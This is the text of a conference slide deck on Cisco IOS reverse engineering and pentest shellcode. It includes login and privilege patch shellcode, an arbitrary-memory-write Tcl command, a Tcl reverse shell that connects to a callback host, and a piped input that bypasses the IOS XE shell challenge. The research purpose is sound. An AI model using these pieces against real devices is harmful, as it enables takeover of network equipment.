SlideShare une entreprise Scribd logo
1  sur  53
CISCO IOS SHELLCODE: ALL-IN-ONE
George Nosenko
gnosenko@dsec.ru
CISCO IOS SHELLCODE: ALL-IN-ONE
George Nosenko
• Security researcher at Digital Security
• Bug Hunter
• Exploit Developer
CISCO IOS SHELLCODE: ALL-IN-ONE
Agenda
Part 2: Cisco IOS Shellcoding
• Motivation
• Main Problems
• Image-independet Shellcodes
 Disassembling Shellcode
 Interrupt-Hijack Shellcode
• Tcl Shellcode
 How does it work?
 Features
 Limitations
 How is it made?
Part 1: Cisco IOS Reverse Engineering
• Main Problem
• Subsystem
• Registry
• Processes
• Glue Code / Simple Code / Dead Code
• Command Parser
• Where is libc?
• Other
• How to debug Cisco IOS
• How to debug Cisco IOS XE
CISCO IOS SHELLCODE: ALL-IN-ONE
Prior works
Attacking Network Embedded System Felix ‘FX’ Lindner 2002
The Holy Grail Cisco IOS Shellcode And Exploitation Techniques Michael Lynn 2005
Cisco IOS Shellcodes Gyan Chawdhary, Varun Uppal 2007
Remote Cisco IOS FTP Exploit Andy Davis 2007
Killing the myth of Cisco IOS rootkits: DIK Sebastian Muniz 2008
Cisco IOS - Attack & Defense. The State of the Art Felix ’FX’ Lindner 2008
Router Exploitation Felix ’FX’ Lindner 2009
Fuzzing and Debugging Cisco IOS Sebastian Muniz, Alfredo Ortega 2011
Killing the Myth of Cisco IOS Diversity Ang Cui, Jatin Kataria, Salvatore J. Stolfo 2011
Research on Cisco IOS Security Mechanisms Xiaoyan Sua 2011
Cisco IOS Rootkits and Malware Jason Nehrboss 2012
SYNful Knock A CISCO IMPLANT Bill Hau, Tony Lee, Josh Homan 2015
CISCO IOS SHELLCODE: ALL-IN-ONE
Cisco Diversity Overview
Operation Systems
Cisco IOS
Cisco IOS XE (based on Linux)
Cisco NX-OS (based on Linux)
Cisco IOS XR (based on QNX)
ASA OS (based on Linux)
CatOS
Architectures
PowerPC (Book-E)
MIPS
Intel x86_x64
Over 300 000 unique images
Killing the Myth of Cisco IOS Diversity
CISCO IOS SHELLCODE: ALL-IN-ONE
Part 1
CISCO IOS RE
CISCO IOS SHELLCODE: ALL-IN-ONE
Main problem
• Designed as a single unit - a large, statically linked ELF binary
• Everything is highly integrated and non-modular
• There is no API
Image size ≈ 142 MB
Functions ≈ 350 000
IDA Database ≈ 2.5 GB
Binwalk ≈ 100 GB
CISCO IOS SHELLCODE: ALL-IN-ONE
Reverse in context
Inside Cisco IOS Software Architecture
Vijay Bollapragada, CCIE
Curtis Murphy, CCIE
Russ White, CCIE
Cisco IOS Programmer’s Guide
Architecture Reference
Software Release 12.0
Fifth Edition
February 1999
CISCO IOS SHELLCODE: ALL-IN-ONE
Unpacking Firmware
• The image may be self-decompressing
• The image may contain:
 loader
 driver for flash
 firmware for additional hardware
 certificates
• Binwalk will work successfully, but it generates a large output
• To automate the analysis, you need to write an unpacker
Killing the myth of Cisco IOS rootkits: DIK
CISCO IOS SHELLCODE: ALL-IN-ONE
Trace strings
Function names
Trace strings
CISCO IOS SHELLCODE: ALL-IN-ONE
Trace strings
def rename_funcs(strings=None, pattern=None):
names = [s for s in strings if re.search(pattern, str(s)) is not None]
for name in names:
for ref in DataRefsTo(name.ea):
old_name = GetFunctionName(ref)
func_addr = LocByNameEx(ref, old_name)
if func_addr == BADADDR or
has_user_name(getFlags(func_addr)):
break
MakeName( func_addr, str(name))
break
if __name__ == "__main__":
rename_funcs(strings=Strings(), pattern=r'^[a-z]{3,}_[a-z]+_')
≈ 8.5%
CISCO IOS SHELLCODE: ALL-IN-ONE
Subsystems
struct subsystype_
{
unsigned int magic1;
unsigned int magic2;
unsigned int header_version;
unsigned int kernel_majversion;
unsigned int kernel_minversion;
char* namestring;
unsigned int subsys_majversion;
unsigned int subsys_minversion;
unsigned int subsys_editversion;
void* init_address;
SUBSYSTEM_CLASS class;
unsigned int id;
char* properties[SUBSYS_MAX];
};
Router# show subsys ?
class Show subsystems by class
memory Show subsystems memory usage
name Show subsystems by name
running Show subsystem information about running processes
| Output modifiers
<cr>
Router# show subsys
Name Class Version
cef Kernel 1.000.000
hw_api_trace_chain Kernel 1.000.001
mtrie Kernel 2.000.001
adj_trace_chain Kernel 1.000.001
alarm Kernel 1.000.001
arp Kernel 1.000.001
arp_app_data Kernel 1.000.001
...
CISCO IOS SHELLCODE: ALL-IN-ONE
Subsystems
All data relating to a subsystem is located below the header
CISCO IOS SHELLCODE: ALL-IN-ONE
Subsystems
def create_subsytems(name='subsystype_'):
for seg in get_data_segment():
for ea in search(start=seg.startEA, end=seg.endEA, pattern='C1 5C 05 15 C1 5C 05 15'): # it uses FindBinary
p_name, p_func, sysclass = Dword(ea + 0x14), Dword(ea + 0x24), Dword(ea + 0x28)
SetColor(p_func, CIC_FUNC, get_color_by_subsysclass(sysclass))
func_name = GetString(p_name)
if func_name == '':
continue
if not has_user_name(getFlags(p_func)):
print "ea: 0x%x 0x%x %s" % (ea, p_func, func_name)
MakeNameAuto(p_func, func_name + '_subsys_init', SN_NOCHECK)
CISCO IOS SHELLCODE: ALL-IN-ONE
Registries and Services
• Linker-independent mechanism
• Service is an interface into subsystem
• Registry is a collection of services
• Service emulates common C
construct (loop, switch, etc.)
• 8-12 different types
Router# show registry
--------------------------------------------
CDP : 96 services
CDP / 1 : List list[001]
0x062E6F38
...
CDP / 14 : Case size[000] list[003] default=0x05B4ED60 return_void
1 0x046D03BC
2 0x046D04F4
3 0x046D05D4
CDP / 15 : Value size[000] list[000] default=0
CDP / 16 : Stub 0x064F9230
...
CDP / 21 : Stub 0x05B4ED64 return_zero
...
CDP / 38 : List list[004]
0x06B42A88
0x04D24970
0x06747680
0x06A0CB50
...
CDP / 54 : Loop list[005]
0x06A859CC
0x08CA07F0
0x087AC228
0x07EF5CE8
0x084B034C
...
CDP / 57 : Retval size[000] list[000] default=0x046CB720
...
CDP : 96 services, 440 global bytes, 600 heap bytes
[REG_NAME][NUM_SERVICE][TYPE](SUB)[ADDR]
≈ 7.4%
CISCO IOS SHELLCODE: ALL-IN-ONE
Process (is equivalent of a thread)
#include “sched.h”
pid_t cfork(forkproc (*padd), long pp, int stack, char *name, int ttynum);
pid_t process_create(process_t (*padd), char *name, stack_size_t stack, process_priority_t priority);
. . .
result = process_create(bootload, “Boot Load”, LARGE_STACK, PRIO_NORMAL);
if (result != NO_PROCESS) {
process_set_arg_num(result, loading);
process_set_ttynum(result, startup_ttynum);
}
Router# show processes
CPU utilization for five seconds: 2%/0%; one minute: 2%; five minutes: 2%
PID QTy PC Runtime (ms) Invoked uSecs Stacks TTY Process
1 Cwe 5B63990 152 11998 1225228/26000 0 Chunk Manager
2 Csp 6DE5568 48 37481 122612/23000 0 Load Meter
3 Mwe 44929A4 12 182631 028740/29000 0 BGP Scheduler
4 Mwe 7A426D8 0 11 025748/26000 0 Retransmission
CISCO IOS SHELLCODE: ALL-IN-ONE
Process. How to find a process_create() fast
Router# show memory processor | include Process
Address Bytes Prev Next Ref PrevF NextF Alloc PC what
12474BAC 0000000160 124737F8 12474C78 001 -------- -------- 08DF1798 *Init*
12474C78 0000000160 12474BAC 12474D44 001 -------- -------- 08DF1798 *Init*
...
1247BD18 0000004288 1247B710 1247CE04 001 -------- -------- 0638C148 TTY data
12483A50 0000000688 12483984 12483D2C 001 -------- -------- 05B9AFDC Process
...
• Process is an internal structure (similar to PEB)
• Process is allocated in cfork() at 05B9AFDC
• A cfork () is called in process_create()
CISCO IOS SHELLCODE: ALL-IN-ONE
Process
def find_all_proocess(func=None, proc_name_reg='r4'):
ea = func.startEA
for i, ref in enumerate(CodeRefsTo(ea, True)):
proc_ep, proc_name = get_proc_entry_point(ref), get_proc_name(ref, dest_reg=proc_name_reg)
if proc_ep is None: continue
if has_dummy_name(GetFlags(proc_ep)):
if MakeNameEx(proc_ep, proc_name, SN_NOWARN) == 0:
print '[!] %d: MakeName failed ref=0x%x: 0x%x, %s' % (i, ref, proc_ep, proc_name)
SetColor(proc_ep, CIC_FUNC, COLOR)
if __name__ == '__main__':
find_all_proocess(func=get_func(get_name_ea(BADADDR, 'process_create'))
CISCO IOS SHELLCODE: ALL-IN-ONE
Glue Code / Simple Code / Dead Code
.text:041AF174 glue_sub_41AF174__memcpy:
.text:041AF174
.text:041AF174 3D 60 08 DF lis r11, _memcpy@h
.text:041AF178 39 6B 5F 24 addi r11, r11, _memcpy@l
.text:041AF17C 7D 69 03 A6 mtctr r11
.text:041AF180 4E 80 04 20 bctr
.text:041AF180 # End of function glue_sub_41AF174__memcpy
.text:04110830 get_value_at_wC0011F4_o110:
.text:04110830
.text:04110830 3D 20 0C 00 lis r9, off_C0011F4@h
.text:04110834 80 69 11 F4 lwz r3, off_C0011F4@l(r9)
.text:04110838 38 63 01 10 addi r3, r3, 0x110
.text:0411083C 4E 80 00 20 blr
.text:0411083C # End of function get_value_at_wC0011F4_o110
.text:0412E5FC return_one:
.text:0412E5FC 38 60 00 01 li r3, 1
.text:0412E600 4E 80 00 20 blr
.text:0412E600 # End of function return_one
FindBinary( 7D 69 03 A6 4E 80 04 20 )
FindBinary( 38 60 00 01 4E 80 00 20 )
FindBinary( 3D 20 ?? ?? 80 69 ?? ??
38 63 ?? ?? 4E 80 00 20 )
≈ 19%
CISCO IOS SHELLCODE: ALL-IN-ONE
Command Parser Tree
• Located under the subsystem header
• Node contains different information
depending on the type
• The root node has type = 0x56
struct tree_node
{
tree_node* right;
tree_node* left;
unsigned int type;
payload* data;
unsigned int unknown;
};
struct payload_cmd
{
char* name;
char* description;
...
permission priv;
...
};struct payload_handler
{
void* handler;
void* arg;
...
};
type = 0x1A
type = 0x45
type = 0x56
payload = 0x1A1A1A1A
CISCO IOS SHELLCODE: ALL-IN-ONE
Where is libc?
• In my case, libc is located at end of the code in .text
• libc is a layer over OS service
(printf, fopen, socket, malloc…)
• libc is a collection of base functions
(memcpy, strcpy, stncat…)
• A base function is a simple code i.e.
has a little cyclomatic complexity
Look for all simple functions around the end of the code
CISCO IOS SHELLCODE: ALL-IN-ONE
Magic People, Voodoo People!
Process
0xBEEFCAFE - Process Block
Memory
0xAB1234CD - Heap Block
0xFD0110DF - Red Zone
0xDEADB10B - Pool
0xAFACEFAD - Packet
Other
0x1A1A1A1A - Parser Root Node
0xABABABAB - TCP socket (TCB)
0xDEADCODE - Invalid interrupt handler
Image/Boot/Code signing
0xFEEDFACE - Envelope header
0xBAD00B1E - Flash Driver (atafslib)
0xBEEFCAFE - Key Record Info
CISCO IOS SHELLCODE: ALL-IN-ONE
Cisco Discovery
Router# show processes ?
cpu Show CPU use per process
memory Show memory use per process
Router# show memory ?
allocating-process Show allocating process name
io IO memory stats
processor Processor memory stats
summary Summary of memory usage per alloc PC
transient
Router# show stack 1
Process 1: Chunk Manager
Stack segment 0x1247D30C - 0x1248389C
FP: 0x12483860, RA: 0x5B9CBFC
FP: 0x12483888, RA: 0x5B63994
FP: 0x12483890, RA: 0x6DEEFA0
FP: 0x0, RA: 0x6DE8834
Router# show buffers all ?
dump Show buffer header and all data
header Show buffer header only
packet Show buffer header and packet data
pool Buffers in a specified pool
Router# show list
List Manager:
10944 lists known, 5907113 lists created
ID Address Size/Max Name
1 FA7CA30 10/- Region List
2 E9C9560 1/- I/O
3 E9C85D0 2/- Processor
Router# show tcp brief all
TCB Local Address Foreign Address (state)
57B455EC 0.0.0.0.64999 *.* LISTEN
56FAD21C 0.0.0.0.34154 *.* LISTEN
Router# show ip sockets
Router# show version
Router# show tech-support
Router# show inventory
Router# show module
Router# show region
Router# show module
Router# show platform hardware tlb
CISCO IOS SHELLCODE: ALL-IN-ONE
Debugging under Cisco IOS
Router> enable
Router# gdb kernel
• Cisco IOS contains a GDB server, but…
• It doesn’t work with a generic GDB client 
because the RSP protocol is a little different
• You can:
use ROMMON;
patch old GDB;
use IODIDE;
create an adapter for IDA Pro.
CISCO IOS SHELLCODE: ALL-IN-ONE
Debugging under Cisco IOS XE (3.3.5SE)
• Cisco IOS doesn’t contain a GDB server, but…
• You can build (static) gdbserver and GDB for target platform
• Then copy gdbserver to device and get Linux Shell
Switch> enable
Switch# configure terminal
Switch(config)# service internal
Switch(config)# end
Switch# request system shell
Activity within this shell can jeopardize the functioning of the system.
Are you sure you want to continue? [y/n] Y
Challenge:e2a41a61930e92d5da…
Please enter the shell access response based on the above challenge…
aaa | /bin/true
[Switch:/]$ uname -a
Linux Switch 2.6.32.59-cavium-octeon2.cge-cavium-octeon… mips64 GNU/Linux
• Attach gdbserver to process “iosd”
(flash:/ map at /mnt/sd3/user)
[Switch:/mnt/sd3/user/gdbservers]$ ./gdbserver.mips /dev/ttyS0 --attach 8566
CISCO IOS SHELLCODE: ALL-IN-ONE
Part 2
CISCO SHELLCODING
CISCO IOS SHELLCODE: ALL-IN-ONE
Motivation
Our pentesters often deal with Cisco equipment, particularly
with binary vulnerabilities
In public, there is no shellcode for the needs of pentesters
We need a flexible and powerful tool
CISCO IOS SHELLCODE: ALL-IN-ONE
Main problems / Earlier shellcode
.equ ret, 0x804a42e8 # hardcode
.equ login, 0x8359b1f4 # hardcode
.equ god, 0xff100000
.equ priv, 0x8359be64 # hardcode
main:
# login patch begin
lis 9, login@ha
la 9, login@l(9)
li 8,0
stw 8, 0(9)
# login patch end
# priv patch begin
lis 9, priv@ha
la 9, priv@l(9)
lis 8, god@ha
la 8, god@l(8)
stw 8, 0(9)
# priv patch end
# exit code
lis 10, ret@ha
addi 4, 10, ret@l
mtctr 4
bctrl
• There is no open API or syscall’s for a third party developer.
System calls are the interface into ROMMON
 put char in console
 reboot
 change confreg, etc
• Cisco IOS Binary Diversity
• Cisco IOS is highly integrated (static linked) one big ELF
without any modules (e.g. *.so)
Cisco IOS Bind shellcode by Varun Uppal
Cisco IOS Connectback shellcode by Gyan Chawdhary
Cisco IOS Shellcodes – BlackHat USA 2008
Tiny shellcode by Gyan Chawdhary
CISCO IOS SHELLCODE: ALL-IN-ONE
Image-independent shellcodes
1. Signature-based Shellcode by Andy Davis - Version-independent IOS shellcode, 2008
Invariant is a structure of code
2. Disassembling Shellcode by Felix ‘FX’ Lindner - Cisco IOS Router Explotation, 2009
Invariant is an unique string
3. Interrupt-Hijack Shellcode by Columbia University NY - Killing the Myth of Cisco IOS Diversity, 2011
Invariant is an interrupt handler routines
All leverage a common Cisco IOS invariant to overcome a binary diversity
CISCO IOS SHELLCODE: ALL-IN-ONE
Disassembling Shellcode
.data
.text
Basic technique
1. Find a unique string to determine its address
2. Look for a code which references this string
3. Patch the function
Pros & Cons
• Reliable - it works on a wide range of Cisco equipment
• Full interaction, but it is not a covert
• We have to be constrained by only IOS shell
• May cause watchdog timer exceptions to be thrown,
which terminates and logs all long running processes
Cisco IOS Router Explotation, 2009
Killing the Myth of Cisco IOS Diversity, 2011
CISCO IOS SHELLCODE: ALL-IN-ONE
Interrupt-Hijack Shellcode
Two-stage attack
Stage 1: 1. Unpack the second-stage shellcode
2. Locate ERET instruction
3. Intercept all interrupt handlers
Stage 2: 1. Receive command by looking for incoming packets with
specific format
2. Execute command
Pros & Cons
• Fast, Stealth, High Privilege
• Create a hidden channel over ICMP
• It has a complex structure, it operates asynchronously
• It presupposes a database containing the image-dependent
payload to stage 3
• Rootkit-oriented
Killing the Myth of Cisco IOS Diversity, 2011
Stage 1
Stage 2
CISCO IOS SHELLCODE: ALL-IN-ONE
Interesting fact about SYNful Knock
It seems that the SYNful Knock implant works in a similar way as
the Interrupt-Hijack shellcode does
FireEye: SYNful Knock A CISCO IMPLANT
CISCO IOS SHELLCODE: ALL-IN-ONE
Requirements to our shellcode
• Image and CPU architecture should be independent
• Works on a wide range of Cisco equipment
• Pentest-oriented
• The most powerful and flexible
• So fast that not to be caught by a watchdog
CISCO IOS SHELLCODE: ALL-IN-ONE
Demo 0x01
CISCO IOS SHELLCODE: ALL-IN-ONE
Tool Command Language
• Invented by John K. Ousterhout, Berkeley, 1980s
http://www.tcl.tk
• Interpreted Language, runtime available for many
platforms (socket, files, regexp, list, etc.)
• Tcl has been included in Cisco IOS as a generic
scripting language since 2003 (Release 12.3(2)T)
• In IOS, Tcl is extended by special commands:
 exec - executes an IOS shell command
 ios_config - changes configuration
 typeahead - emulates a user input
 etc.
• Tcl Policy for Embedded Event Manager (EEM)
Cisco Feature Navigator
CISCO IOS SHELLCODE: ALL-IN-ONE
Tcl and Pentesting
• Almost the only way to extend the functionality of Cisco IOS
• Tcl scripts are portable between different platforms
Backdoors
Creating Backdoors in Cisco IOS using Tcl
Tools
IOSMap: TCP and UDP Port Scanning on Cisco IOS Platforms
IOScat - a Port of Netcat's TCP functions to Cisco IOS
Malware
IOSTrojan: Who really owns your router?
Cisco IOS Rootkits and Malware (Hakin9 Vol2 No4)
More Ideas (Twitter as CC, Bot, Flood, Exploit)
Attacking with Cisco devices PH-Neutral 2009
Attacking with Cisco devices Hashdays 2010
Attacking with Cisco devices HSLU 2011
Cisco Support Community/EMM Scripting
Shellcode
Felix ‘FX’ Lindner first proposed the use of Tcl in
the shellcode Cisco IOS Router Explotation
CISCO IOS SHELLCODE: ALL-IN-ONE
Tcl Shellcode. How does it work?
Stage 1
1. Determine the memory layout
2. Look for the Tcl subsystem in .data
3. Find a Tcl C API table within this subsystem
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
6. Create new Tcl Interpreter by using Tcl C API
7. Run a Tcl script from memory
(script is integrated in shellcode)
Stage 2
1. Script connects to the “callback” server
2. Evaluate any Tcl expression received from the server
cisco router
callback server
listen TCP(1337)
evil host
Tcl
Txt
.text
Tcl_Iterp
shellcode
script
CISCO IOS SHELLCODE: ALL-IN-ONE
Tcl Shellcode. How does it work?
Stage 1
1. Determine the memory layout
2. Look for the Tcl subsystem in .data
3. Find a Tcl C API table within this subsystem
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
6. Create new Tcl Interpreter by using Tcl C API
7. Run a Tcl script from memory
(script is integrated in shellcode)
Stage 2
1. Script connects to the “callback” server
2. Evaluate any Tcl expression received from the server
cisco router
callback server
listen TCP(1337)
evil host
Tcl
Txt
.text
Tcl_Iterp
shellcode
script
CISCO IOS SHELLCODE: ALL-IN-ONE
Determine the memory layout
Motivation
• To reduce the search time
• Not to cause an access violation
Router# show platform hardware tlb
Virt Address range Phy Address range W-I-M-G-E-S Attr TS ESEL
============================================================================
0xFF000000-0xFFFFFFFF 0x0_FF000000-0x0_FFFFFFFF 1-1-0-1-0-0 RWX 0 (0)
. . .
0x04000000-0x07FFFFFF 0x0_04000000-0x0_07FFFFFF 0-0-1-0-0-0 RWX 0 (5)
0x08000000-0x0BFFFFFF 0x0_08000000-0x0_0BFFFFFF 0-0-1-0-0-0 R-X 0 (6)
0x0C000000-0x0FFFFFFF 0x0_0C000000-0x0_0FFFFFFF 0-0-1-0-0-0 RW- 0 (7)
. . .
• Have to use the System Purpose Registers (SPR)
• This method depends on the processor architecture
• We can skip this step
• Because our shellcode is developed in C, it's not a big
problem
CISCO IOS SHELLCODE: ALL-IN-ONE
Tcl Shellcode. How does it work?
Stage 1
1. Determine the memory layout
2. Look for the Tcl subsystem in .data
3. Find a Tcl C API table within this subsystem
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
6. Create new Tcl Interpreter by using Tcl C API
7. Run a Tcl script from memory
(script is integrated in shellcode)
Stage 2
1. Script connects to the “callback” server
2. Evaluate any Tcl expression received from the server
cisco router
callback server
listen TCP(1337)
evil host
Tcl
Txt
.text
Tcl_Iterp
shellcode
script
CISCO IOS SHELLCODE: ALL-IN-ONE
Looking for the Tcl subsystem
Motivation
• To reduce the search time
• All data relating to the Tcl subsystem is located below the header
• All functions relating the Tcl subsystem is located within tcl_subsys_init
• Locate all subsystems by signature C15C0515 C15C0515
• Find the Tcl subsystem by name “tcl”
subsystype_ <0xC15C0515, 0xC15C0515, 1, 0, 0, "tcl", 2, 0, 1, tcl_subsys_init, Library, 0, 0, 0>
CISCO IOS SHELLCODE: ALL-IN-ONE
Tcl Shellcode. How does it work?
Stage 1
1. Determine the memory layout
2. Look for the Tcl subsystem in .data
3. Find a Tcl C API table within this subsystem
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
6. Create new Tcl Interpreter by using Tcl C API
7. Run a Tcl script from memory
(script is integrated in shellcode)
Stage 2
1. Script connects to the “callback” server
2. Evaluate any Tcl expression received from the server
cisco router
callback server
listen TCP(1337)
evil host
Tcl
Txt
.text
Tcl_Iterp
shellcode
script
CISCO IOS SHELLCODE: ALL-IN-ONE
Find Tcl C API Table
Tcl C API
• used for embedding
• used for extending
• Tcl API
• To abstract the specifics of the platform, a function’s
pointer table tclStubs is used
• We can get address of tclStubs by looking for the
signature 0xFCA3BACF
#define TCL_STUB_MAGIC 0xFCA3BACF
TclStubs tclStubs =
{
TCL_STUB_MAGIC,
&tclStubHooks,
Tcl_PkgProvideEx, /* 0 */
Tcl_PkgRequireEx, /* 1 */
Tcl_Panic, /* 2 */
. . .
Tcl_CreateCommand, /* 91 */
Tcl_CreateInterp, /* 94 */
Tcl_DeleteInterp, /* 110 */
Tcl_Eval, /* 129 */
Tcl_Exit, /* 133 */
. . .
}
CISCO IOS SHELLCODE: ALL-IN-ONE
Tcl Shellcode. How does it work?
Stage 1
1. Determine the memory layout
2. Look for the Tcl subsystem in .data
3. Find a Tcl C API table within this subsystem
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
6. Create new Tcl Interpreter by using Tcl C API
7. Run a Tcl script from memory
(script is integrated in shellcode)
Stage 2
1. Script connects to the “callback” server
2. Evaluate any Tcl expression received from the server
cisco router
callback server
listen TCP(1337)
evil host
Tcl
Txt
.text
Tcl_Iterp
shellcode
script
CISCO IOS SHELLCODE: ALL-IN-ONE
Determine address of a handler for an extension
Motivation
• We want to use the Tcl IOS extensions
• We already have (in tclStubs ) the address of
Tcl_CreateCommand
• So, we can locate all the places where it is called
• Then we can get the handler’s address and the
name of extension by disassembling
Tcl_Command Tcl_CreateCommand _(
Tcl_Interp * interp,
char * cmdName,
dTcl_CmdProc * proc,
ClientData clientData,
Tcl_CmdDeleteProc * deleteProc);
3C 80 09 94 lis r4, aIos_config@h # "ios_config"
3C A0 05 A7 lis r5, ios_config@ha
38 84 12 44 addi r4, r4, aIos_config@l # cmdName
38 A5 DF 0C addi r5, r5, ios_config@l # cmdProc
38 C0 00 00 li r6, 0 # clientData
38 E0 00 00 li r7, 0 # deleteProc
7F E3 FB 78 mr r3, r31 # interp
48 01 0F 8D bl Tcl_CreateCommand
CISCO IOS SHELLCODE: ALL-IN-ONE
Tcl Shellcode. How does it work?
Stage 1
1. Determine the memory layout
2. Look for the Tcl subsystem in .data
3. Find a Tcl C API table within this subsystem
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
6. Create new Tcl Interpreter by using Tcl C API
7. Run a Tcl script from memory
(script is integrated in shellcode)
Stage 2
1. Script connects to the “callback” server
2. Evaluate any Tcl expression received from the server
cisco router
callback server
listen TCP(1337)
evil host
Tcl
Txt
.text
Tcl_Iterp
shellcode
script
CISCO IOS SHELLCODE: ALL-IN-ONE
Create your own Tcl command
int wmem(void* clientData, void* interp, int argc, char** argv) // wmem addr value
{
Interp* iPtr = (Interp *) interp;
unsigned int* ptr = NULL;
unsigned int value = 0;
if(argc != 3) {
iPtr->stubTable->tcl_AppendResult(interp, "wrong args", (char *) NULL);
return TCL_ERROR;
}
if(iPtr->stubTable->tcl_GetInt(interp, argv[1], &ptr) != TCL_OK) return TCL_ERROR;
if(iPtr->stubTable->tcl_GetInt(interp, argv[2], &value) != TCL_OK) return TCL_ERROR;
*ptr = value; // write to an arbitrary address
return TCL_OK;
}
CISCO IOS SHELLCODE: ALL-IN-ONE
Tcl Shellcode. How does it work?
Stage 1
1. Determine the memory layout
2. Look for the Tcl subsystem in .data
3. Find a Tcl C API table within this subsystem
4. Determine addresses of all handlers for Tcl IOS
command extension
5. Create new Tcl commands
6. Create new Tcl Interpreter by using Tcl C API
7. Run a Tcl script from memory
(script is integrated in shellcode)
Stage 2
1. Script connects to the “callback” server
2. Evaluate any Tcl expression received from the server
cisco router
callback server
listen TCP(1337)
evil host
Tcl
Txt
.text
Tcl_Iterp
shellcode
script
CISCO IOS SHELLCODE: ALL-IN-ONE
Run Tcl script from memory / Eval^2
void shellcode() {
. . .
Tcl_Interp* interp = Tcl_CreateInterp();
Tcl_CmdProc* tcl_exec =
find_Tcl_command(subsys->init_address, 1MB, "exec",
Tcl_CreateCommand);
if(tcl_exec != NULL){
Tcl_CreateCommand(interp, "exec", tcl_exec, 0, 0);
}
Tcl_CreateCommand(interp, "wmem", wmem, 0, 0);
const char* script =
#include "./tcl/stage2.tcl"
;
Tcl_Eval(interp, script);
. . .
}
# ./tcl/stage2.tcl
set sockid [ socket "192.168.1.2" 1337]
while {1}
{
flush $sockid
set line [gets $sockid]
catch {eval $line} cmdres
puts $sockid $cmdres
}
close $sockid
CISCO IOS SHELLCODE: ALL-IN-ONE
Features / Properties / Limitations
Properties
• Image-independent
• It’s easy to port to other CPU architecture
• Approach can be applied to Cisco IOS XE
• No need to worry about a watchdog
• Hijack a process
Limitations
• Tcl is not everywhere
• The relatively large size (2KB – 2.5KB)
• We can not create a Tcl server
• It uses an open channel (TCP connection)
Features
• We have a shell with the highest level of privileges
• We can work with file system and sockets
• We can read/write memory:
• to change behavior of Cisco IOS
• to analyze IOMEM
Advanced Features
• Macro Command (e.g. create GRE tunnel)
• Automation of attacks
• Reuse other TCl tools
• ROMMON Trojan
CISCO IOS SHELLCODE: ALL-IN-ONE
Demo 0x02
CISCO IOS SHELLCODE: ALL-IN-ONE
Conclusion
CISCO IOS SHELLCODE: ALL-IN-ONE
The End
www.dsec.ru
gnosenko@dsec.ru

Contenu connexe

Tendances

Deploying Kubernetes on GCP with Kubespray
Deploying Kubernetes on GCP with KubesprayDeploying Kubernetes on GCP with Kubespray
Deploying Kubernetes on GCP with KubesprayAltoros
 
Alphorm.com Support de la formation Vmware Esxi 6.0
Alphorm.com Support de la formation Vmware Esxi 6.0Alphorm.com Support de la formation Vmware Esxi 6.0
Alphorm.com Support de la formation Vmware Esxi 6.0Alphorm
 
WebLogic Administration und Deployment mit WLST
WebLogic Administration und Deployment mit WLSTWebLogic Administration und Deployment mit WLST
WebLogic Administration und Deployment mit WLSTenpit GmbH & Co. KG
 
Automation with ansible
Automation with ansibleAutomation with ansible
Automation with ansibleKhizer Naeem
 
OVHcloud Hosted Private Cloud Platform Network use cases with VMware NSX
OVHcloud Hosted Private Cloud Platform Network use cases with VMware NSXOVHcloud Hosted Private Cloud Platform Network use cases with VMware NSX
OVHcloud Hosted Private Cloud Platform Network use cases with VMware NSXOVHcloud
 
Xilinx Vitis FreeRTOS Hello World
Xilinx Vitis FreeRTOS Hello WorldXilinx Vitis FreeRTOS Hello World
Xilinx Vitis FreeRTOS Hello WorldVincent Claes
 
VMware NSX - Lessons Learned from real project
VMware NSX - Lessons Learned from real projectVMware NSX - Lessons Learned from real project
VMware NSX - Lessons Learned from real projectDavid Pasek
 
[오픈소스컨설팅]Zabbix Installation and Configuration Guide
[오픈소스컨설팅]Zabbix Installation and Configuration Guide[오픈소스컨설팅]Zabbix Installation and Configuration Guide
[오픈소스컨설팅]Zabbix Installation and Configuration GuideJi-Woong Choi
 
Support formation vidéo : Cisco ASA, configuration
Support formation vidéo : Cisco ASA, configurationSupport formation vidéo : Cisco ASA, configuration
Support formation vidéo : Cisco ASA, configurationSmartnSkilled
 
Building Multi-Site and Multi-OpenStack Cloud with OpenStack Cascading
Building Multi-Site and Multi-OpenStack Cloud with OpenStack CascadingBuilding Multi-Site and Multi-OpenStack Cloud with OpenStack Cascading
Building Multi-Site and Multi-OpenStack Cloud with OpenStack CascadingJoe Huang
 
Ansible, best practices
Ansible, best practicesAnsible, best practices
Ansible, best practicesBas Meijer
 
HHM-2833: Where is My Message?: Using IBM MQ Tools to Work Out What Applicati...
HHM-2833: Where is My Message?: Using IBM MQ Tools to Work Out What Applicati...HHM-2833: Where is My Message?: Using IBM MQ Tools to Work Out What Applicati...
HHM-2833: Where is My Message?: Using IBM MQ Tools to Work Out What Applicati...Matt Leming
 
IT Automation with Ansible
IT Automation with AnsibleIT Automation with Ansible
IT Automation with AnsibleRayed Alrashed
 

Tendances (20)

Deploying Kubernetes on GCP with Kubespray
Deploying Kubernetes on GCP with KubesprayDeploying Kubernetes on GCP with Kubespray
Deploying Kubernetes on GCP with Kubespray
 
Alphorm.com Support de la formation Vmware Esxi 6.0
Alphorm.com Support de la formation Vmware Esxi 6.0Alphorm.com Support de la formation Vmware Esxi 6.0
Alphorm.com Support de la formation Vmware Esxi 6.0
 
WebLogic Administration und Deployment mit WLST
WebLogic Administration und Deployment mit WLSTWebLogic Administration und Deployment mit WLST
WebLogic Administration und Deployment mit WLST
 
NkSIP: The Erlang SIP application server
NkSIP: The Erlang SIP application serverNkSIP: The Erlang SIP application server
NkSIP: The Erlang SIP application server
 
Voice Support for Fixed Telecommuter Deployments
Voice Support for Fixed Telecommuter DeploymentsVoice Support for Fixed Telecommuter Deployments
Voice Support for Fixed Telecommuter Deployments
 
Automation with ansible
Automation with ansibleAutomation with ansible
Automation with ansible
 
OVHcloud Hosted Private Cloud Platform Network use cases with VMware NSX
OVHcloud Hosted Private Cloud Platform Network use cases with VMware NSXOVHcloud Hosted Private Cloud Platform Network use cases with VMware NSX
OVHcloud Hosted Private Cloud Platform Network use cases with VMware NSX
 
Xilinx Vitis FreeRTOS Hello World
Xilinx Vitis FreeRTOS Hello WorldXilinx Vitis FreeRTOS Hello World
Xilinx Vitis FreeRTOS Hello World
 
VMware NSX - Lessons Learned from real project
